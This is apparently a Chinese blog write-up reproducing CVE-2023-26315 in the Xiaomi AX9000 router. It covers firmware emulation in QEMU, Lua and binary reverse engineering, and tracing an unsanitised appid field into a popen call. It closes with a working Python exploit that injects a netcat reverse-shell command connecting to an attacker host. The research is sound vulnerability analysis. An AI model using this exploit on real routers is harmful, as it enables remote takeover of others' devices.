// RESEARCH_TRANSMISSION ID: CVE_2023_26315

CVE-2023-26315 小米 AX9000 路由器命令注入漏洞分析

小米 AX9000 路由器命令注入漏洞的固件仿真、逆向分析与利用复现

BEGIN_PAYLOAD 20260818

CVE-2023-26315

复现环境

OS:Archlinux

binwalk:3.1.0

qemu:11.0.2

漏洞概要

https://www.cnvd.org.cn/flaw/show/CNVD-2024-23093

https://www.cve.org/CVERecord?id=CVE-2023-26315

  • 固件版本 < 1.0.168

  • 小米AX9000路由器在1.0.168版本及之前存在二进制漏洞(命令注入),该漏洞由于未对非法的appid做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后,可在远程目标设备上执行任意命令,并获得设备的最高控制权,造成权限提升

qemu模拟

小米路由器AX9000 稳定版 1.0.168

小米固件最外面使用的是UBIFS文件系统,固件没有被加密

在解这种文件系统之前需要安装ubi_reader,链接如下:

1
https://github.com/onekey-sec/ubi_reader

先用binwalk解出一个.ubi文件,然后在ubifs-root解出三个.ubifs文件,然后对其中xxx-ubi_rootfs.ubifsbinwalk再解开,即可得到里面的SquashFS文件系统

image-20260731202609646

宿主机tap配置

1
2
3
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo ip link set tap0 master virbr0

virbr0是virt-manager虚拟管理程序默认配置的,不需要我们自己手动的配置,将tap0挂上去即可。

1
sudo ip link set virbr0 up

启动up

这里用了winmt师傅提供的脚本和环境https://drive.google.com/file/d/1FcbCkfGuHlvohGlzA-HRRyM8izqhHALE/view

启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
qemu-system-aarch64 \
-M virt \
-cpu cortex-a53 \
-m 1G \
-initrd ./initrd.img-5.10.0-29-arm64 \
-kernel ./vmlinuz-5.10.0-29-arm64 \
-append "root=/dev/vda2 console=ttyAMA0" \
-drive if=virtio,file=./debian-3607-aarch64.qcow2 \
-netdev tap,id=net0,ifname=tap0,script=no,downscript=no \
-device virtio-net-pci,netdev=net0 \
-nographic

然后在qemu直接dhcp自动获取ip地址即可

1
dhclient

image-20260731211257415

image-20260731211307504

tap0和virbr0为up就可以通信了

将squashfs-root传上去,这里我用scp上传的时候输入正确密码,反复给我错误,使用如下命令即可快速上传:

1
virt-copy-in -a debian-3607-aarch64.qcow2 squashfs-root.tar.gz /root

然后就是起手了

1
2
3
4
5
6
tar -xvf squashfs-root.tar.gz
cd squashfs-root/
chmod -R 777 ./
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

根据openwrt的初始化流程,先/etc/preinit,再去执行/sbin/init去初始化,但是执行preinit的时候,qemu直接重启了,那么只能先执行/sbin/init中的/sbin/proc,启动进程管理器

启动httpd服务

查找httpd服务

1
find /etc -name "*http*"

image-20260731214018102

有sysapihttpd(小米定制)、mihttpd、uhttpd

sysapihttpd配置

etc/sysapihttpd/sysapihttpd.conf

监听80, 8098, 8080, 8999, 443

image-20260731232141386

image-20260731232057174

image-20260731232128178

image-20260731232228509

mihttpd配置

etc/mihttpd/mihttpd.conf

mihttpd启动,只监听8198,定义了一些文件上传下载的API,可以不启动

image-20260731233242656

uhttpd配置

etc/uhttpd/uhttpd.conf

uhttpd默认不启动

image-20260731233024055

启动sysapihttpd

1
/etc/init.d/sysapihttpd start

image-20260801102404809

缺失这个procd_sysapihttpd.lock文件,创建对应的目录和文件即可

1
2
mkdir -p /var/lock
touch /var/lock/procd_sysapihttpd.lock

image-20260801102549299

这个报错需要连接ubus(总线通信),启动/sbin/ubusd &即可

1
/sbin/ubusd &

image-20260801103023544

可以看到报错是缺少文件,但是没有给出缺失哪个文件,用ida将ubusd进行反编译

执行的是ubusd,而不是软链接tbusd,所以v8被赋值为/var/run/ubus.sock,之后会将其作为参数传入usock函数中,然后当usock函数返回错误时,就会走到perror("usock")进行报错

image-20260801103520055

创建之后可以正常启动

1
2
mkdir -p /var/run
touch /var/run/ubus.sock

image-20260801104016119

可以看到程序和端口已经启动了

image-20260801105534582

image-20260801104351995

nmap可以扫到端口

image-20260801105155269

访问时,会出问题

image-20260801105218713

通过查看进程,可以发现sysapihttpd的主进程号没变,但是子进程号已经变了,可以说明的是当进行访问的时候server崩溃了,子进程crash,主进程(守护进程)有开了新的子进程

image-20260801105549483

缺少/etc/TZ文件(时区相关的配置文件)

image-20260801110031990

1
echo "WAUST-8WAUDT" > /etc/TZ

之后的系统调用没显示,就参考winmt师傅的报错吧

image-20260801110413375

将if判断绕过

image-20260801110528232

总结一下命令:

1
2
3
4
5
6
7
8
9
10
mkdir -p /var/run
touch /var/run/ubus.sock
mkdir -p /var/lock
touch /var/lock/procd_sysapihttpd.lock

/sbin/procd &
/sbin/ubusd &
echo "WAUST-8WAUDT" > /etc/TZ

/etc/init.d/sysapihttpd start

image-20260731230840619

跳过初始化配置

因为我们只启动了部分服务,其中有部分配置与硬件有关,那么接下来想办法绕过初始化配置

我这里grep太慢了,直接使用ripgrep来查询

1
rg "init.html"

image-20260801112331097

定位这个usr/lib/lua/luci/view/web/sysauth.htm文件中,进行分析

image-20260801113252048

需要绕过这个if判断,使之不重定向到/init.html

getInitInfo方法来自这个xiaoqiang.util.XQSysUtil模块

image-20260801113421506

通过去访问不是源码形式,可以寻找工具进行反编译

由于小米的前端是lua写的,但是其中的lua文件不是源码,不是直接可以反编译的文件,需要使用unluac_miwifi进行反编译,对lua反编译的常用工具是unluacluadec,但是小米对lua的解释器进行了魔改,很好的是有师傅对小米固件写反编译工具unluac_miwifiluaadec_miwifi,在这里说声感谢

将工具放置在任意目录下

1
2
3
4
5
git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src  src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build  .

然后使用脚本一键处理lua反编译,硬编码地址,需要自己修改

1
2
3
4
5
6
7
8
9
10
import os

res = os.popen("find ./ -name *.lua").readlines()

for i in range(0, len(res)):
path = res[i].strip("\n")
cmd = "java -jar /home/starlight/CtfTools/IOT/lua/unluac_miwifi/build/unluac.jar " + path + " > " + path + ".dis"
print(cmd)
os.system(cmd)

反编译如下:

image-20260801113626360

这样也不是很好看,由于小米各种型号路由器的lua部分变化不大,可以寻找小米别的版本的固件,这里的源码来自于小米路由器4Pro 稳定版,这个版本的lua没有编译image-20260801113837943

又使用到这个函数

usr/lib/lua/xiaoqiang/XQPreference.lua

image-20260801114135470

key为INITTED

1
local value = uci:get("xiaoqiang", "common", "INITTED")

uci是openwrt的配置系统,uci:get(配置文件名, 节名, 选项名)

设置uci配置项即可,标记为已初始化

使用uci命令来通用配置

1
2
3
uci set xiaoqiang.common.INITTED=1
uci commit
uci show | grep INITTED

重新访问

image-20260731231001342

设置登录密码

由于是默认3那么在uci配置系统肯定有相关的配置信息,直接搜索

1
uci show | grep admin

image-20260801114842592

但是这是加密后的值,不知道原密码是什么

所以接下来分析加密加密逻辑

F12查看web源码

image-20260801120529380

image-20260801134348219

可以看到加密逻辑

用户名固定为了admin,密码pwd通过调用oldPwd()加密之后返回的结果

key为a2ffa5c9be07488bbb04a3a47d3c5f6a

加密逻辑如下:

1
真实密码 = sha1(用户设置的密码 + a2ffa5c9be07488bbb04a3a47d3c5f6a)

实例如下:

假如我们设置一个用户密码为:starlight

那么加密后的值如下:

1
fcb0870235aeae600cd210ea000662e878a392bb=sha1(starlighta2ffa5c9be07488bbb04a3a47d3c5f6a)

通过uci给account.common.admin配置为fcb0870235aeae600cd210ea000662e878a392bb

1
2
3
uci set account.common.admin=fcb0870235aeae600cd210ea000662e878a392bb
uci commit
uci show | grep admin

image-20260801140005417

然后就能使用starlight密码登入进去了

image-20260801140111804

漏洞分析

分析usr/lib/lua/luci/controller/api/xqdatacenter.lua我这里用之前别的版本的固件lua进行分析

image-20260801171250897

usr/lib/lua/luci/dispatcher.lua

image-20260801171532579

image-20260801183907614

当访问/api/xqdatacenter/request这个api端点需要用户登录认证,用户名设置为adminsysauth_authenticator = "jsonauth"token不存在或错误时,通过authenticator.jsonauth函数进行登录验证

对于路由入口,entry{}的第五个参数为flag位为0x01代表不需要鉴权,这里没有设置flag位,所以需要鉴权

鉴权代码如下:

usr/lib/lua/luci/dispatcher.lua

image-20260801184408374

image-20260801184505476

image-20260801184520766

接下来分析tunnelRequest

usr/lib/lua/luci/controller/api/xqdatacenter.lua

对传入payload字段内的JSON数据进行Base64编码处理,拼接到THRIFT_TUNNEL_TO_DATACENTER 所指代的命令中并执行,其中formvalue_unsafe函数会获取payload字段的内容,最终调hackCheck函数过滤掉filterChars集合中的字符

image-20260801172405729

usr/lib/lua/xiaoqiang/util/XQSecureUtil.lua

image-20260801172807869

image-20260801172817933

usr/lib/lua/xiaoqiang/common/XQConfigs.lua

image-20260801173148493

最后也就是执行thrifttunnel 0 base64(payload)

然后接下来分析usr/sbin/thrifttunnel执行文件

1
sub_AB08(int a1, __int64 a2)

首先会先判断参数个数是否为3,然后将base64后的payload赋值给v10,sub_1B6FC函数的逻辑就是拷贝,然后会判断v10是否为空,如果不是则将base64后的payload赋值给v12,,然后再和v11传进sub_1B9B03

image-20260801192036119

接着就是switch匹配

这里匹配 case 0,然后进入sub_1BAE0函数

image-20260801193105098

创建了socket,然后传入的是json数据,可以判断此处会将payload字段的json数据发送给本地127.0.0.19090端口

image-20260801194226612

接下来就要去寻找哪个程序会监听9090端口,根据winmt师傅的文章,是/usr/sbin/datacenter程序正在监听9090端口,所以数据被传到了datacenter(在这里笔者认为winmt师傅当时有真机分析,然后启动的服务和配置比较完整,所以分析的时候,用netstat查看端口就行了,然后init.d有启动脚本)

如图,可以看见datacenter程序创建了非阻塞服务器实例,监听9090端口

image-20260801195156869

接下来就开启服务

image-20260801202300918

这个函数在usr/lib/libthriftnb-0.9.1.so

image-20260801202801612

1
2
3
4
5
6
7
8
9
10
libthriftnb::TNonblockingServer::serve()
-> TConnection::eventHandler()
-> TConnection::workSocket()
-> TConnection::Task::run()
-> TProcessor::process()
-> TDispatchProcessor::process()
-> DataCenterProcessor::dispatchCall()
-> DataCenterProcessor::process_request()
-> DataCenterIf::request()
-> DataCenterHandler::request()

(吐槽:从百草园到三味书屋)

接下来看DataCenterHandler::request

image-20260801203824623

其中调用了APIMapping::APIMapping

image-20260801203940420

然后再调用了constructAPIMappingTable

这些函数是API路由映射表构建函数,用来建立API编号->处理函数的映射关系,实现请求路由的分发

image-20260801204010291

有一些api是直接在datacenter中被处理的,有些是被进一步转发到了/usr/sbin/indexservice9088端口)处理,另外一些则是被转发到了/usr/sbin/plugincenter9091端口)中进一步处理

datacenter::PluginApiCollection::sConstructMappingTable中,当api629时,对应的handlercallPluginCenter

image-20260801204419280

callPluginCenter

此函数的功能是接受json格式的数据,然后转换成json字符串,通过thrift协议转发到plugincenter服务,获得服务端响应并返回

image-20260801204504665

然后将数据转发给本地的9091端口

image-20260801204730015

接下来分析APIMapping::redirectRequest

这个函数的作用就是解析请求中的API编号,在STL map中查找对应的处理函数,然后通过函数指针动态调用

image-20260801205459760

image-20260801205507033

之前分析的,当api629时,传入的payload字段的数据会被转发给plugincenter程序处理

搜索datacenter::PluginApiMappingExtendCollection::sConstructMappingTable

image-20260801205842128

这个函数也通过map建立了api编号和handler函数的映射关系

parseGetIdForVendor

会将传入的json数据内的appid字段作为参数传递到PluginApi::getIdForVendor
image-20260801210133738

PluginApi::getIdForVendor

这个函数的功能是验证应用ID的有效性,通过系统命令调用外部工具获取供应商ID,将结果封装为JSON格式返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__int64 __usercall PluginApi::getIdForVendor@<X0>(__int64 a1@<X1>, __int64 a2@<X8>)
{
__int64 v4; // x0
__int64 v5; // x0
__int64 JsonObject; // x19
__int64 v7; // x0
char *v8; // x0
__int64 v10; // [xsp+0h] [xbp+0h] BYREF
_BYTE v11[8]; // [xsp+40h] [xbp+40h] BYREF
_BYTE v12[16]; // [xsp+48h] [xbp+48h] BYREF
_QWORD v13[2]; // [xsp+58h] [xbp+58h] BYREF
char v14; // [xsp+68h] [xbp+68h] BYREF
_BYTE v15[32]; // [xsp+78h] [xbp+78h] BYREF
// 用于验证应用ID的有效性
AppAccountManager::AppAccountManager(this: (AppAccountManager *)v11);
// 如果appid无效,执行这个代码块
if ( (unsigned __int8)AppAccountManager::IsValidAppId(a1: v11, a2: a1) == 0 )
{
google::LogMessage::LogMessage(
a1: v12,
a2: "src/api/PluginApi.cpp",
a3: 626,
a4: 2,
a5: 0,
a6: &google::LogMessage::SendToSyslogAndLog,
a7: 0);
v4 = google::LogMessage::stream(this: (google::LogMessage *)v12);
std::operator<<<std::char_traits<char>>(a1: v4, a2: "invalid app id.");
google::LogMessage::~LogMessage(this: (google::LogMessage *)v12);
sub_8A940(a1: (unsigned int)&v10 + 120, s: "");
if ( ApiBase::sCreateJsonObject(a1: 5) != 0 )
{
v5 = ((__int64 (*)(void))json_object_to_json_string)();
std::string::operator=(a1: v15, a2: v5);
}
std::string::_M_dispose(a1: v15);
}
v13[0] = &v14;
v13[1] = 0;
v14 = 0;
std::operator+<char>(a1: "matool --method idForVendor --params ", a2: a1);
CommonUtils::sCallSystem(a1: v15, a2: v13);
std::string::_M_dispose(a1: v15);
JsonObject = ApiBase::sCreateJsonObject(a1: 0);
v7 = json_object_new_string(a1: v13[0]);
json_object_object_add(a1: JsonObject, a2: "idforvendor", a3: v7);
v8 = (char *)json_object_to_json_string(a1: JsonObject);
sub_8A940(a1: a2, s: v8);
json_object_put(a1: JsonObject);
std::string::_M_dispose(a1: v13);
AppAccountManager::~AppAccountManager(this: (AppAccountManager *)v11);
return a2;
}

检查的appid不合法进入if中,没有对appid的内容进行过滤,只是做了一个日志记录,然后创建了一个错误响应,之后会执行下面的危险函数

1
2
3
4
5
v13[0] = &v14;
v13[1] = 0LL;
v14 = 0;
std::operator+<char>("matool --method idForVendor --params ", a1);
CommonUtils::sCallSystem(v15, v13);

这里的v13应该被优化了,然后a1是用户可控的appid

之后sCallSystem就是一个封装的函数,使用popen执行命令,因为sCallSystem没有对命令的参数进行安全判断,也没有过滤,所以可以控制appid进行命令执行漏洞

image-20260801210957296

漏洞复现

反弹shell:

https://blog.csdn.net/m0_73610345/article/details/151256959

image-20260801145124272

token值为70776419bb5f6f392634da64b9a901e5

启动以下两个服务

1
2
/usr/sbin/datacenter &
/usr/sbin/plugincenter &
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

server_ip = "192.168.122.76"
client_ip = "192.168.5.28"
token = "70776419bb5f6f392634da64b9a901e5"

cmd = "; nc {0} 6666 | /bin/sh | nc {0} 8888;".format(client_ip)
#cmd = "; ls; id"

res = requests.post(
"http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token),
data={'payload':'{"api":629, "appid":"' + cmd + '"}'}
)

print("Response:", res.text)

结果如下:

image-20260801145247342

EOF CHECKSUM_OK

// EXTERNAL_CHANNEL

COMMENTS